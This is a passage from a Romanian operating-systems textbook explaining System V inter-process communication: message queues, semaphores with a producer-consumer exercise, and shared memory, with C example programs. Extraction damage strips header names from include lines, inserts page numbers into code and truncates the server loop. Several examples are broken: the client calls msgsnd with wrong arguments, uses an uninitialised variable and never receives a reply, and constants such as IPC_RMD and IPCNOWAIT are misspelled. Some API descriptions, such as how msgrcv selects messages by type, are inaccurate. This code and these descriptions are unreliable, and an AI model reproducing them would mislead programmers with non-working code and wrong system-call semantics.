Pentru aceasta, kernelul îşi rezervă o zonă tampon de memorie. Fiecare mesaj trimis trece prin 

kernel. Procesul care trimite mesajul stabileşte pentru acesta o cheie de recunoaştere. Aici apare o 

problemă: dacă un alt proces cunoaşte cheia, el poate să preia informaţia din coadă, chiar dacă 

informaţia nu-i fusese destinată, ea pierzându-se (o soluţie ar fi codificarea mesajelor). 

Transmisia se face cu sincronizare, în sensul că procesele care fac cereri de primire de 

mesaje se blochează până când recepţionează mesajul dorit, iar cele care doresc să transmită se 

blochează dacă nu există ici un proces care să recepţioneze şi coada de mesaje este plină. 

Un mesaj se bazează pe o structură C care cuprinde un identificator şi textul propriu-zis. 

┌────┬─────┐ Identificatorul se foloseste pentru specificarea 

mesaj │mtip│mtext│ tipului mesajului necesar la selectarea lui din 

└────┴─────┘ coada de mesaje si se reprezinta cu un long. 

Informaţia propriu-zisă este în câmpul mtext, are o lungime variabilă şi se declară de 

exemplu prin char[] (structura unui mesaj trebuie să înceapă cu un long, restul după necesităţi = 

regula). Pentru a programa cu mesaje, se includ următoarele fişiere standard: , 

, . 

Există o serie de primitive sistem care ne permit acest mod de IPC. Ele sunt : msgget(), msgsnd(), 

msgrcv(), msgctl(). 

Aceste primitive lucrează cu o serie de structuri de date, structuri de date ce descriu complet 

coada de mesaje. Fiecare coadă de mesaje din sistem este accesat prin intermediul unui identificator 

al cozii. Acest identificator (un număr întreg pozitiv) este asociat cu coada la momentul creerii ei. 

De asemenea fiecărei cozi (deci şi identificatorul cozii) se asociează câte o structură msg_id definit 

în fişierul antet msg.h, cu următoarea semnificaţie : 

struct msqid_ds { 

struct ipc_perm msg_perm; /*o structură ce defineşte drepturile de 

acces la această coadă*/ 

struct msg *msg_first; /*adresa primului mesaj din coada */ 

struct msg *msg_last; /*adresa ultimului mesaj din coadă */ 

time_t msg_stime; /*momentul ultimei transmisii de mesaj */ 

time_t msg_rtime; /*momentul ultimei recepţii de mesaj */ 

time_t msg_ctime; //momentul ultimei schimbări a stării cozii 

struct wait_queue *wwait; 

struct wait_queue *rwait; 

ushort msg_cbytes; /* numărul curent de octeţi în coadă */ 

ushort msg_qnum; /* numărul mesajelor în coadă*/ 

ushort msg_qbytes; /* numărul maxim de octeţi admis în coadă*/ 

ushort msg_lspid; /* PID al ultimului proces transmiţător */ 

ushort msg_lrpid; /* PID al ultimului proces receptor */ 

}; 

Această structură este creată şi iniţializată în momentul creerii unei cozi de mesaje apelând 


84


primitiva msgget(). Prototipul (sintaxa) acestei funcţii este : 

int msgget(key, msgflg) 

key key; //cheie de identificare a cozii de mesaje 

int msgflg; //identificator al modului şi drepturilor de acces 

msgget() returnează identificatorul cozii de mesaje conform valorii key (valori definite în fişierul 

antet ipc.h). 

Un identificator al unei cozi precum şi structurile asociate cozii sunt create pentru key dacă una 

dintre următoarele condiţii se verifică: 

• key este egal cu IPCPRIVATE. 

• key nu are legat de el un identificator al unei cozi, şi (msgflg & IPC_CREAT) este TRUE 

(adevărat). 

În urma creerii acestei noi cozi structura msgid_ds asociată acestei cozi se iniţializează după 

cum urmează : 

• msg_perm.cuid, msg_perm.uid, msg_perm.cgid, şi msg_perm.gid sunt iniţializate cu 

identificatorii de utilizator (user ID) respectiv de grup (group ID) efective ale procesului 

apelant. 

• Cei 9 biţi LSB ai msg_perm.mode sunt setaţi la valorile celor 9 biţi LSB ale lui msgflg. 

Semnificaţia valorii msgflg este: 

• dreptul de citire pentru utilizator, 

• dreptul de scriere pentru utilizator, 

• drepturile citire/scriere pentru grup, 

• drepturile citire/scriere pt. Toţi. 

(procesul creator decide cine şi cum are acces la noua coadă de mesaje) 

• msg_qnum, msg_lspid, msg_lrpid, msg_rtime, şi msg_stime sunt iniţializaţi cu 0 

• msg_ctime setat la valoarea curentă a timpului sistem. 

• msg_qbytes setat la o valoare maximă impusă de sistem. 

Se observă faptul că pentru cozile de mesaje se definesc drepturi de acces exact ca la lucrul cu 

fişiere. Acestea sunt specificate în variabila msgflg . Tot pentru aceasta sunt definite în 

următoarele constante: 

IPC_CREAT : cu aceasta se deschide o coadă corespunzătoare cheii date, iar dacă aceasta 

nu exista va fi creata. Dacă aceasta constantă lipseşte din apel, coada nu va fi creată şi va fi deschisă 

doar dacă există. 

IPC_EXCL: se foloseşte împreuna cu IPC_CREAT, coada va fi creată şi deschisă doar dacă 

nu există deja. Dacă ea există, se întoarce valoarea -1 de eroare (variabila globală errno va conţine 

EEXIST). 

În afara de aceste constante, se dau valori normale de drepturi corespunzătoare 

proprietarului, grupului şi celorlalţi. De exemplu, dacă msgflg=0660|IPC_CREAT, se deschide o 

coadă de mesaje sau se creează dacă nu există, proprietarul şi grupul său având drept de read şi 

write. 

Mesajele dintr-o coadă sunt menţinute în liste cu ajutorul unor structuri de tip msg definite după 



85


struct msg { 

struct msg *msg_next; /*adresa următoarei structuri de tip msg din coadă 

*/ 

long msg_type; /* tipul mesajului */ 

char *msg_spot; /*adresa unui şir de caractere ce conţine mesajul 

*/ 

short msg_ts; /*lungimea în caractere a mesajului */ 

}; 

Un proces poate depune un mesaj în coadă apelând primitiva msgsnd() (caz în care el transmite), şi 

poate citi un mesaj din coadă apelând msgrcv() (caz în care el este receptorul). Primitivele celor 

două funcţii sunt : 


int msgsnd(msqid, msgp, msgsz, msgflg) 

int msqid; // identificatorul cozii de mesaje 

struct msgbuf *msgp; // adresă către o structură ce conţinemesajul 

int msgsz; // dimensiunea mesajului transmis 

int msgflg; // identificator al modului şi drepturilor de acces 

int msgrcv(msqid, msgp, msgsz, msgtyp, msgflg) 

int msqid; 

struct msgbuf *msgp; // adresa unei strucuri unde se va citi mesajul dorit 

int msgsz; // dimensiune alocată mesajului ce urmează a fi recepţionat 

long msgtyp; // tipul mesajului aşteptat 

int msgflg; 

Cele două funcţii operează cu structuri de tip msgbuf definite tot în fişierul antet msg.h, după cum 

urmează : 

struct msgbuf { 

long mtype; /* tipul mesajului */ 

char mtext[]; /* textul mesajului */ 

}; 

Funcţia msgsnd va avea rezultatul, dacă se termină cu succes, introducerea în coada de mesaje 

identificată prin msgid a mesajului conţinut în buferul adresat de msgp (msgp->mtext) şi având tipul 

msgp->mtype. Deasemenea trebuie specificat dimensiunea mesajului transmis (folosit de sistem 

pentru a aloca o structură tip msg corespunzătoare acestui mesaj) şi msgflg - ce determină acţiunea 

sistemului dacă : 

• numărul octeţilor din coadă a ajuns la valoarea msg_qbytes, sau 

• numărul total de mesaje din toate cozile definite în sistem a atins o limită maximă 

(impusă de sistem). 

Aceste acţiuni sunt : 

- dacă (msgflg & IPCNOWAIT) este TRUE mesajul nu va fi trimis iar procesul apelant va 

returna imediat (transmisie ignorată). 

- dacă (msgflg & IPCNOWAIT) este FALSE, procesul apelant va fi suspendat până la : 

• condiţia din cauza căreia a fost suspendat procesul nu mai există, caz în care se transmite 

mesajul; 

• identificatorul msgid este revocat din sistem (un alt proces cu drepturi adecvate distruge 

86



coada de mesaje); 

• procesul apelant recepţionează un semnal. În acest caz mesajul nu se mai transmite iar 

procesul va acţiona conform modului în care a fost prevăzut ca el să răspundă la 

semnalul aşteptat. 

La un apel reuşit al directivei msgsnd se reactualizează următoarele câmpuri din structura de date 

asociata identificatorului msqid: 

• msg_qnum este incrementat cu 1, 

• msg_lspid setat la PID al procesului apelant, 

• msg_stime reactualizat. 

Dacă msgflg =0, apelul va aştepta până când în coada de mesaje va fi loc pentru mesajul transmis. 

Dacă se introduce constanta NOWAIT, apelul va returna imediat, iar dacă nu este loc pentru mesaje 

se va întoarce -1, iar în errno va fi depusă valoarea EAGAIN. 

Funcţia msgrcv este folosită pentru a recepţiona mesaje din coada de mesaje. Mesajul este citit în 

structura indicată de pointerul msgp. Dacă dimensiunea de recepţie este mai mică decât cea de 

transmisie, mesajul este trunchiat, fără avertizarea utilizatorului. Tipul mesajului care va fi selectat 

din coada de mesaje la recepţie este dat de parametrul msgtype, după cum urmează : 

• este 0 - se ia primul mesaj din coadă; 

• pozitiv nenul - se ia mesajul cu numărul respectiv; 

• negativ - se ia primul mesaj al cărui tip are valoarea mai mică decât valoarea absolută a 

celui specificat; 

Parametrul msgflag are semnificaţie similară ca la transmisie. Dacă msgflag=0 (modul în care se 

face apelul), apelul va aştepta până la sosirea unui mesaj de tipul solicitat. Dacă se introduce 

IPC_NOWAIT, apelul va întoarce valoarea de eroare -1, dacă nu există mesaj de tipul solicitat. 

Variabila globală errno va conţine valoarea EAGAIN. Dacă msgflag=MSG_NOERROR, un mesaj 

de lungime mai mare decât cel solicitat va fi trunchiat fără a solicita eroare. 

La un apel reuşit al directivei msgrcv se reactualizează următoarele câmpuri din structura de date 

asociata identificatorului msqid 

• msg_qnum este decrementat cu 1, 

• msg_lrpid setat la PID al procesului apelant, 

• msg_rtime reactualizat. 

Funcţia msgctl() permite un control al cozilor de mesaje din sistem. Sintaxa funcţiei este : 

int msgctl (msqid, cmd, buf) 

int msqid, cmd; 

struct msqid_ds *buf; 

msgctl() permite efectuarea unor operaţii de control asupra cozii identificat prin msgid , operaţii 

specificate prin parametrul cmd. Următoarele comenzi sunt valide : 

IPCSTAT - structura de date tip msgid_ds asociată cu coada este copiată în structura 

adresată de buf; 

IPCSET - setează valorile următoarelor câmpuri din structura de date asocită cu msgid 

87



la valorile câmpurilor corespunzătoare din structura adresată de buf : 

msg_perm.uid 

msg_perm.gid 

msg_perm.mode /*nuami cei 9 biţi LSB */ 

msg_qbytes 

Acest lucru poate fi efectuat de către un proces care : 

• are identificatorul efectiv de utilizator egal cu cel al super-user-ului (root), 

• are PID egal cu msg_perm.cuid sau msg_perm.uid specificat în structura de date 

asociată cozii. 

Numai super-user-ul poate creşte valoarea lui msg_qbytes. 

IPCRMID - revocă identificatorul cozii de mesaj specificat de msgid, distruge coada şi 

structurile de date asociate. 

Acest lucru se permite doar proceselor care : 

- au identificatorul efectiv de utilizator egal cu cel al super-user-ului, 

- au PID egal cu msg_perm.cuid sau msg_perm.uid specificat în structura de date asociată 

cozii. 

Exemplu de program care creează două procese şi transferă date prin mesaje între ele şi apoi le 

distruge: 

# include 

# include 

# include 

# include 

# include 

# include 

# include 

# include 

# include 

void main() 

{ 

pid_t pid; 

int msqid,i; 

struct msgbuf *msgp; 

char *str="Primul mesaj spre fiu!\n"; 

msgp = (struct msgbuf *) malloc (sizeof (struct msgbuf)); 

if ((msqid=msgget(IPC_PRIVATE,0x1FFF))==-1) 

{ perror("Nu pot crea coada de mesaje !\n");exit(1); } 

if ( (pid=fork())==-1 ) 

{ perror("Nu pot crea procesul fiu !");exit(1); } 

if ( pid==0 )//fiu 

{ 

int len; 

if ((len=msgrcv(msqid,msgp,30,0,0))==-1) 

{ perror("Eroare la receptie mesaj in fiu !\n");exit(1); } 

printf("Am primit [%d] chars: %s",len,msgp->mtext); 

} 

else //parinte 

{ 

msgp->mtype=1; 

88


strcpy(msgp->mtext,str); 

if ( msgsnd(msqid,msgp,30,0)==-1 ) 

{perror("Parintele nu poate scrie mesajul");exit(1);} 

wait(&i); 

struct msqid_ds *r; 

if (msgctl(msqid,IPC_RMID,r)==-1) 

{ perror("Nu pot elimina coada de mesaje !\n");exit(1);} 

} 

} 

Programul 11. Sursa Ex1_Msg.c 

Programul de mai jos este un exemplu de aplicaţie client-server. Programul client trimite 

serverului identificatorul său de proces şi apoi aşteaptă de la acesta un răspuns. Când soseşte 

răspunsul, clientul îl tipăreşte şi se opreşte. Serverul aşteaptă mesaje de la clienţi şi le răspunde, 

transmiţând propriul său identificator de proces. Serverul se opreşte la apariţia oricărui semnal. 


/* Mesaje.h */ 

#include 

#include 

#include 

#define CHEIE 0100 /* identificatorul cozii */ 

struct mesaj { 

long mtip; 

char mtext[256]; 

}; 

/* Client */ 

#include "mesaje.h" 

void main() 

{ 

struct mesaj mes; 

int id_coada,id_proces,*pint; 

/* deschiderea cozii CHEIE */ 

id_coada=msgget(CHEIE,0660); 

/* constructia mesajului */ 

mes.mtip=1; 

pint=(int *)mes.mtext; 

*pint=id_proces; 

/* transmiterea mesajului fara tratarea erorilor */ 

msgsnd(id_coada,&mes,256,id_proces,0); 

/* tiparirea mesajului primit */ 

printf("\n Client: serverul este: %d\n",*(int *)mes.mtext); 

} 

/* Server */ 

#include "mesaj.h" 

int id_coada; 

void main() 

{ 

int i,*pint; 

extern cleanup(); 

struct mesaj mes; 

/* pentru tratarea semnalelor */ 

for(i=0; i



} 

printf("\n Server: mesajul este de la client: %d\n",*pint); 

/* construirea mesajului de raspuns */ 

mes.mtip=*pint; 

*pint=getpid(); 

/* transmiterea mesajului */ 

msgsnd(id_coada,&mes,sizeof(int),0); 

} 

/* rutina de stergere a cozii la primirea unui mesaj */ 

cleanup() 

{ 

msgctl(id_coada,IPC_RMD,0); 

exit(); 

} 

Programul 12. Sursele exemplu2 mesaje 

4.5. Modalitati IPC folosind “Semafoare” 

Semafoarele reprezintă a modalitate primitivă de sincronizare a proceselor care indirect 

furnizează o modalitate de IPC (Inter-Process Communication -comunicare între procese). 

Prin "resursă", termen abstract, se înţelege fie o entitate fizică (dispozitiv periferic) fie o 

construcţie logică (variabila de tip simplu sau structurat), care este indispensabilă unui proces 

pentru a executa. Resursa devine "critică" dacă este indispensabilă mai multor procese, şi acestea 

doresc acces la resursa în acelaşi timp. 

Prin "regiune critică" se înţelege o zonă de cod în care un proces manevrează o resursă 

critică. Prin "excludere mutuală" a două sau mai multe procese se înţelege aceea modalitate care 

duce la situaţia în care, la un moment dat, un SINGUR proces se află în regiunea critică 

corespunzătoare aceleiaşi resurse critice (vezi capitolul I). Se spune că execuţia procesului respectiv 

exclude execuţia celorlalte. 

Rolul principal al semafoarelor este de a realiza excluderea mutuală între procese. Pentru 

aceasta semafoarele se asociază resurselor sau grupurilor de resurse şi "filtrează" modul de acces la 

ele, aşa cum se va vedea în cele ce urmează. 

Sub SO Unix semaforul este o structură ce conţine: 

• un contor (un întreg), 

• o coadă de aşteptare în care sunt introduse procese în aşteptare. 

Contorul în funcţie de valoare are următoarele semnificaţii: 

- contor>0 semnifică numărul de resurse disponibile asociate semaforului respectiv; 

- contor=0 semnifică faptul ca nici o resursă nu mai este disponibilă; 

- contor


întreruptă şi procesul este introdus în coada de aşteptare a semaforului. Cu alte cuvinte procesul 

rămâne blocat până când resursa este disponibilă; 

• operaţia up(sem) (operaţia V) - este executată de un proces imediat după eliberarea unei resurse. 

Operaţia incrementează contorul. Dacă contorul era pozitiv înainte de incrementare atunci 

execuţia continuă ca şi cum nici n-ar fi existat up(). Dacă, însă, contorul era zero sau negativ 

înainte de incrementare atunci este relansat în execuţie primul proces din coada de aşteptare a 

semaforului, acesta primind acces la resursa proaspăt eliberată. 

Reamintim că operaţiile down() şi up() sunt atomice, adică execuţia lor nu poate fi întreruptă. 

Dacă programul este scris incorect atunci execuţia poate să ajungă în două stări care exprimă 

imposibilitatea de terminare a programului: 


• deadlock - stare ce semnifică blocarea reciprocă a proceselor, întreg programul este 

blocat; 

• livelock - stare ce semnifică execuţia repetată a unor operaţii, programul rulează dar 

execuţia nu avansează către terminare. 

Discutăm conceptele de mai sus pe un caz concret. Considerăm o problemă clasică de 

concurenţă, producător-consumator. Problema se referă la interacţiunea a două procese. Un proces 

"producător" care produce o valoare şi o introduce într-un tablou, şi un proces "consumator" care 

preia din tablou o valoare şi o consumă/o foloseşte. 

Aşa cum reiese din enunţarea de mai sus, tabloul este o resursă critică. Dăm mai jos conţinutul 

programului în pseudocod: 

semaphore prod, cons,mutex; 

some_type tab[N]; 

int i=0; 

prod.counter=N; 

cons.counter=0; 

mutex.counter=1; 

process producer() 

{ some_type item; 

} 

while (1) 

{ item=produce(); 

down(mutex); 

down(prod); 

tab[i++]=item; 

up(cons); 

up(mutex); 

} 

process consumer () 

{ some_type item; 

while (1) 

{ down(mutex); 

down(cons); 

item=tab[i--]; 

up(prod); 

91


} 

} 


up(mutex); 

consume(item); 

Discuţie: 

1. Identificaţi tipurile de resurse pentru fiecare semafor în parte. Explicaţi de ce s-au iniţializat 

contoarele semafoarelor cu valorile de mai sus. 

2. Stabiliţi dacă programul se execută corect sau se ajunge la deadlock/livelock. 

3. Dacă se ajunge la deadlock, atunci găsiţi o soluţie corectă. 

Există o serie de primitive sistem care ne permit acest mod de IPC. Ele sunt apelurile de 

sistem: semget(), semctl() şi semop(). Ele operează cu o serie de structuri de date, definite în fişierul 

/usr/include/sys/sem.h. Acestea sunt structurile: 

struct semid_ds { 

struct ipc_perm sem_perm; /*structura drepturilor de acces la semafor 

*/ 

struct sem *sem_base; /* adresa primului semafor din familie */ 

ushort sem_nsems; /* numarul de semafor din cadrul familiei */ 

time_t sem_otime; /* momentul ultimului semop asupra semafor 

*/ 

time_t sem_ctime; /* momentul ultimei modificari a semaforului 

*/ 

}; 

Obs. O singură structură semid_ds se creează în sistem pentru fiecare familie de semafoare. Cele 

două structuri de date implicate sunt: 

struct ipc_perm { 

ushort cuid; /*user-id creator*/ 

ushort cgid; /*group-id creator */ 

ushort uid; /* user id */ 

ushort gid; /* group id */ 

ushort mode; /* permisiuni de acces */ 

} 

struct sem { 

ushort semval; /* valoarea curenta semafor */ 

short sempid; /* PID a ultimului proces */ 

ushort semncnt; /* # evita semval > cval */ 

ushort semzcnt; /* # evita semval = 0 */ 

}; 

Obs. O structură sem se creează în sistem pentru fiecare semafor în parte. 

Structura de date necesară apelării directivei semop(): 

struct sembuf { 

short sem_num; /* identificator semafor*/ 

short sem_op; /* tip operatie aplicat semaforului */ 

short sem_flg; /* flag-uri ale operatiei */ 

}; 

Structura de date necesară apelării directivei semctl(): 

92


union semun { 

int val; /* valoare pentru SETVAL */ 

struct semid_ds *buf; /* buffer pentru IPC_STAT & IPC_SET */ 

ushort *array; /* tablou pentru GETALL & SETALL */ 

}; 


4.5.1. Apelul de sistem semget() 

Sintaxa de apel: 

int semget(key, nsems, semflg) 

key key; 

int nsems, semflg; 

semget() returnează identificatorul unei familii de semafoare conform valorii key (valori definite în 

fişierul antet ipc.h). 

Un identificator de semafor precum şi structurile semid_ds şi sem asociate sunt create pentru key 

dacă una dintre următoarele condiţii se verifică: 

• key este egal cu IPCPRIVATE, 

• key nu are legat de el un identificator al unei cozi, şi (semflg & IPCREAT) este TRUE 

(adevărat). 

În urma creerii acestei noi cozi structura semid_ds asociată acestei cozi se iniţializează după 


• sem_perm.cuid, sem_perm.uid, sem_perm.cgid, şi sem_perm.gid sunt egale cu user-ID 

efectiv şi respectiv group-ID efectiv, al procesului apelant, 

• Cei 9 biţi LSB ai sem_perm.mode sunt setaţi la valorile celor 9 biţi LSB ale lui semflg, 

• sem_nsems este iniţializat cu valoarea nsems, 

• sem_ctime setat la valoarea curentă a timpului sistem. 

Diferenţa în Unix constă în faptul că funcţia semget() întoarce mulţimi de semafoare şi nu 

semafoare individuale, şi că există două contoare diferite, semval numără resursele şi semncnt ce 

numără procesele din coadă. 

4.5.2. Apelul de sistem semctl() 

Ea are sintaxa de apel: 

int semctl(semid, semnum, cmd, arg) 

int semid, semnum, cmd; 

union semun { 

val; 

struct semids *buff; 

ushort *array; 

} arg; 

93


Aceasta permite efectuarea unei serii de operaţii de control asupra familiei de semafoare identificate 

prin semid. Operaţia curentă este dată de argumentul cmd şi se aplică semaforului semnum din 

familie. Operaţiile permise sunt: 

GETVAL - returnează valoarea semaforului semnum din familia semid, 

SETVAL - stabileşte (poziţionează) valoarea semaforului semnum (semval) la valoarea 

arg.val. 

GETPID - returnează valoarea sempid. 

GETNCNT - returnează valoarea semncnt. 

GETZCNT - returnează valoarea semzcnt. 

GETALL - returnează valorile tuturor semafoarelor în tabloul arg.array. 

SETALL - stabileşte valorile tuturor semafoarelor la cele indicate de tabloul arg.array. 

IPCTAT - valoarea curentă semafor este citită în bufferul arg.buff. 

IPCET - setează (scrie) valoarea curentă conform conţinutului bufferului arg.buff. 

IPCRMID - elimină identificatorul de semafor din sistem. 

Astfel, deci, setarea valorii unui semafor se face cu directiva semctl() şi operaţia SETVAL, 

referindu-ne la semaforul semnum din mulţimea identificată de semid. 


4.5.3. Apelul de sistem semop() 

Funcţia semop() realizează un set de operaţii atomice asupra unei mulţimi de semafoare. Ea are 

sintaxa: 

int semop(semid, sops, nsops) 

int semid; 

struct sembuf *sops; 

int nsops; 

Identificând un semafor individual din mulţime prin câmpul sem_num, al structurii sembuf, se 

execută asupra lui operaţia codificată în câmpul sem_op, astfel: 

• dacă sem_op > 0 atunci se doreşte întoarcerea de resurse şi valoarea lui sem_op se adună 

la valoarea semaforului corespunzător (semval). 

• dacă sem_op < 0 atunci se doreşte obţinerea de resurse, şi în funcţie de valorile lui 

sem_op, semval şi a flagului IPC_NOWAIT acţiunile efectuate sunt diferite. 

• dacă sem_op = 0 înseamnă că procesul doreşte să aştepte până când semval devine 0. 

Exemplu de program ce foloseşte semafoare pentru a implementa excluderea mutuală: 

Problemă: să se scrie un program care crează un pipe şi două procese Unix care accesează capătul 

de scriere al pipe-ului. Să se realizeze o excludere mutuală a celor două procese la capătul de 

scriere al pipeului. Fiecare proces realizează în mod repetat operaţiile următoare: citesc dintr-un 

fişier un număr de octeţi/caractere şi apoi îl scriu în pipe. Procesul care citeşte din pipe afişează 

ceea ce primeşte pe ecran. 

#include 

#include 

#include 

#include 

#include 

94


#include 

#include 

#define N 100 

#define N1 3 

int pp[2]; 

int sid; 

char buf[N]; 

void down(int s) 

{ 

struct sembuf sops; 

int nsops = 1; 

sops.sem_num=s; 

sops.sem_flg = 0; 

sops.sem_op = -1; 

semop(s, &sops, 1); 

} 

void up(int s) 

{ 

struct sembuf sops; 

int nsops = 1; 

sops.sem_num=s; 

sops.sem_flg = 0; 

sops.sem_op = +1; 

semop(s, &sops, 1); 

} 

void eroare(char *str) 

{ 

printf("EROARE : %s",str); 

exit(1); 

} 

void fiu(int f) 

{ 

char buff[N1]; 

int n; 

close(pp[0]); 

while ( (n=read(f,buf,N1))>0) 

{ 

down(sid); 

if (write (pp[1],buf,n) ==-1) eroare("scriere in pipe"); 

up(sid); 

sleep(1); 

} 

close(pp[1]); 

} 

void main (void) 

{ 

int f1,f2; 

int n; 

union semun arg; 

pipe(pp); 

if ( (f1=open("fis1.txt",O_RDONLY) )==-1) eroare ("deschidere fisier 1..."); 


95


if ( (f2=open("fis2.txt",O_RDONLY) )==-1) eroare ("deschidere fisier 2..."); 

sid=semget(IPC_PRIVATE,1,0x1FFF); 

arg.val=1; 

semctl(sid,0,SETVAL,arg); 

if (fork()==0) 

fiu(f1); 

else 

if (fork()==0) 

fiu(f2); 

else 

{ 

close(pp[1]); 

while ( (n=read(pp[0],buf,N-1))>0) 

{ 

buf[n]='\0'; 

printf(buf); 

} 

wait(); 

wait(); 

close(f1); 

close(f2); 

close(pp[0]); 

semctl(sid,0,IPC_RMID,arg); 

} 

} 

Programul 13. Sursa Ex_sem.c 

4.6. Comunicarea inter-procese prin memorie partajată (shared memory). 

Unul dintre principiile programării actuale este acela că “fiecare proces îşi accesează în 

mod exclusiv propriul spaţiu de memorie (internă)”. Uneori, în aplicaţiile care folosesc IPC, se 

impune un schimb rapid de informaţii. În acest scop, diverse sisteme de operare furnizează 

mecanisme de acces la un spaţiu comun de memorie internă. Aşa cum se ştie până acum, atunci 

când se creează două procese Unix (prin fork()) se realizează o copie a datelor. Deci cele două 

procese nu deţin acces la aceleaşi variabile, ele accesează copii ale acestor variabile şi nu pot avea 

nici un fel de control asupra copiilor care nu le aparţin. De asemenea, la fiecare dintre metodele de 

comunicaţie între procese prezentate până acum, informaţia era transferată între cele două procese 

implicate, adică era copiată în afara spaţiului de adresare al procesului sursă şi apoi recopiată în 

spaţiul de adresare al procesului destinaţie, prin intermediul unor apeluri sistem. Acest lucru 

necesita unele transformări asupra datelor transferate şi uneori, transferarea unor informaţii 

suplimentare. 

Atâta timp cât cele două procese comunică, ele trebuie să se găsească deja în memorie 

împreună cu datele lor. Dacă datele de transmis se află deja în memorie, cele două procese ar trebui 

să poată accesa amândouă zona de memorie în care se găsesc datele comune. Această memorie 

devine astfel memorie partajată (comună). Sistemul de operare Unix suportă acest concept oferind o 

serie de apeluri de sistem în acest sens. Din păcate memoria partajată nu este disponibilă în orice 

implementare de Unix System V pentru că numai anumite configuraţii hardware permit acest lucru. 

De fapt memoria comună este o altă modalitate indirectă de IPC deoarece procesele schimbă date 

între ele folosind valorile ale unor variabile comune stabilite în mod static la începutul executării 

programului. 

Folosirea memoriei partajate oferă o metodă elegantă şi rapidă de comunicaţie între cele 

două procese care accesează în comun o zonă de memorie internă. Această zonă poate fi folosită de 

oricare dintre procesele din sistem care îi cunosc cheia. Pentru fiecare proces care utilizează 

memoria partajată este necesar ca ea să se găsească în spaţiul său de adresare. Acest lucru asigură 


96


de fapt eficienţa maximă, în continuare această zonă fiind accesată ca şi o variabilă obişnuită, fără 

folosirea apelurilor sistem. Folosirea unor zone de memorie în comun de către două procese impune 

desigur şi o serie de restricţii de acces şi necesităţi de sincronizare care se rezolvă de obicei cu 

ajutorul semafoarelor. Programarea defectuoasă a accesului la memoria partajată a mai multor 

procese poate duce uşor la blocaje (deadlocks). 

Din punctul de vedere al programatorului, principiul de lucru cu memoria partajată este 

foarte simplu: un segment de memorie partajată trebuie creat şi deschis, apoi ataşat în spaţiul de 

adresare al proceselor care au nevoie de el. 

Apoi, fiecare dintre procese poate scrie sau citi fără restricţii din zona respectivă. Când un 

proces nu mai are nevoie de memoria partajată, el poate detaşa segmentul. Dacă nici unul dintre 

procese nu mai are nevoie de el, segmentul de memorie partajată, poate fi eliminat complet. Pentru 

operaţiile de creare, deschidere, ataşare, detaşare, eliminare a segmentelor de memorie partajată 

există apeluri ale nucleului. Pentru accesarea datelor din segment nu exista apeluri, accesul 

făcându-se prin intermediul pointerilor. 

Pentru a adresa segmentele de date procesoarele moderne folosesc un registru de 

segmentare. Daca este disponibil un astfel de registru, implementarea memoriei partajate este foarte 

uşoară (acest lucru este rezolvat de cei care implementează UNIX-ul şi nu de către cei care folosesc 

memoria partajată în aplicaţii!). Accesul ulterior la acest segment se face aproape la fel de repede ca 

la orice variabila locala a procesului, de aceea memoria partajată este de departe cea mai rapidă 

metodă de comunicaţie între procese comparativ cu metodele prezentate până acum. 

Desigur, hardware-ul poate să impună şi limitări. De exemplu numărul de segmente de 

memorie partajată care pot fi folosite deodată de către un proces este dependent de arhitectura 

sistemului. Dacă se doreşte ca aplicaţiile să rămână portabile, nu trebuie folosit decât un singur 

element de memorie partajată. La fel hardware-ul determină şi mărimea maximă a unui segment. De 

obicei un minim de 64K este disponibil. 

Apelurile de sistem ce permit declararea, controlul şi eliminarea din sistem a unor zone de memorie 

partajată sunt: shmget(), shmctl(), shmat(), shmdt(). 

Apelul de sistem shmget() este folosit pentru a obţine de la sistem o zonă de memorie comună de 

mărime specificată de utilizator. 

Apelul de sistem shmctl() are rol de control asupra segmentelor de memorie comună. Un anumit 

proces îşi asociază la spaţiul său de adrese zona de memorie comună creată de sistem folosind 

apelul shmat(). De obicei ultimele două argumente ale acestui apel sunt zero. 

Ultimul apel, shmdt(), este folosit pentru dezasocierea segmentului de memorie comună de proces. 

Este necesar ca înainte să fi fost utilizat apelul shmat(). 

Segmentul de memorie comună rămâne activ în sistem până când nu este distrus explicit folosind 

shmctl() şi flagul corespunzător. 

Structura de date shmid_ds 

Este structura de date prin intermediul căreia sistemul gestionează obiectul "segment de memoria 

comună". Ea este declarată în fişierul antet shm.h , şi are definiţia: 

struct shmid_ds { 

struct ipc_perm shm_perm; /* flaguri de permisiune */ 

int shm_segsz; /* dimensiune segment (bytes) */ 

time_t shm_atime; /* momentul ultimei asocieri la 

memorie */ 

time_t shm_dtime; /* momentul ultimei dezasocieri de la 


97


memoria comună */ 

time_t shm_ctime; /* momentul ultimei schimbari */ 

unsigned short shm_cpid; /* PID al procesului creator */ 

unsigned short shm_lpid; /* PID al ultimului proces care a 

lucrat cu memoria comună*/ 

short shm_nattch; /* numarul de asocieri curente */ 

/* variabile private */ 

unsigned short shm_npages; /* dimensiune segment (în pagini) */ 

unsigned long *shm_pages; /* arie de ptrs către frames -> SHMMAX 

*/ 

struct vm_area_struct *attaches; /* descriptori de asocieri */ 

}; 

Constante definite (tot în acest fişier): 

sunt fie corespunzătoare unor limitări impuse de sistem: 

- SHMMIN, dimensiunea minimă a unui segment de memorie comună; 

- SHMMAX, dimensiunea maximă a unui segment; 

- SHMMNI, numărul maxim de segmente partajate; 

- SHMLBA, divizor comun al tuturor adreselor început de segment; 

fie argumente sau comenzi specifice legate de gestiunea unui segment: 

- SHM_RDONLY, permite accesarea doar în mod read-only a segmentului; 

- SHM_RND, flag de permisiune a "rotunjirii" adresei segmentului; 

- SHM_LOCK, flag de invalidare acces la segment; 

- SHM_UNLOCK, flag de deblocare acces la segment; 


4.6.1. Apelul de sistem shmget() 

int shmget(key_t key, int size, int shmflag) 

Pentru crearea şi deschiderea unui segment de memorie partajată de mărime specificată există 

apelul de sistem shmget(). Se apeleaza in felul urmator: 

#include 

#include 

#include 

key_t cheie; 

int marime, permisii, shmid; 

... 

shmid=shmget(cheie, marime, permisii); 

... 

La fel ca şi la mesaje, cel mai important parametru este primul, cheie, cel care dă cheia de 

recunoaştere globală a segmentului. Orice alt proces care vrea să folosească segmentul de memorie 

partajată, creat cu shmget(), trebuie să cunoască această cheie. Cheia este, ca şi mai înainte, de tipul 

key_t, dependent de implementare, dar de obicei un long. Al doilea parametru, mărime, este cel care 

specifică dimensiunea în octeţi a segmentului de memorie partajată care se doreşte a fi creat. 

Dimensiunea segment trebuie să fie în concordanţă cu limitele impuse de sistem precum şi, în cazul 

în care cheie corespunde unui segment existent, cu dimensiunea acestui segment. Ultimul 

parametru, permisii, specifică drepturile de acces la segment. Apelul returnează în variabila shmid 

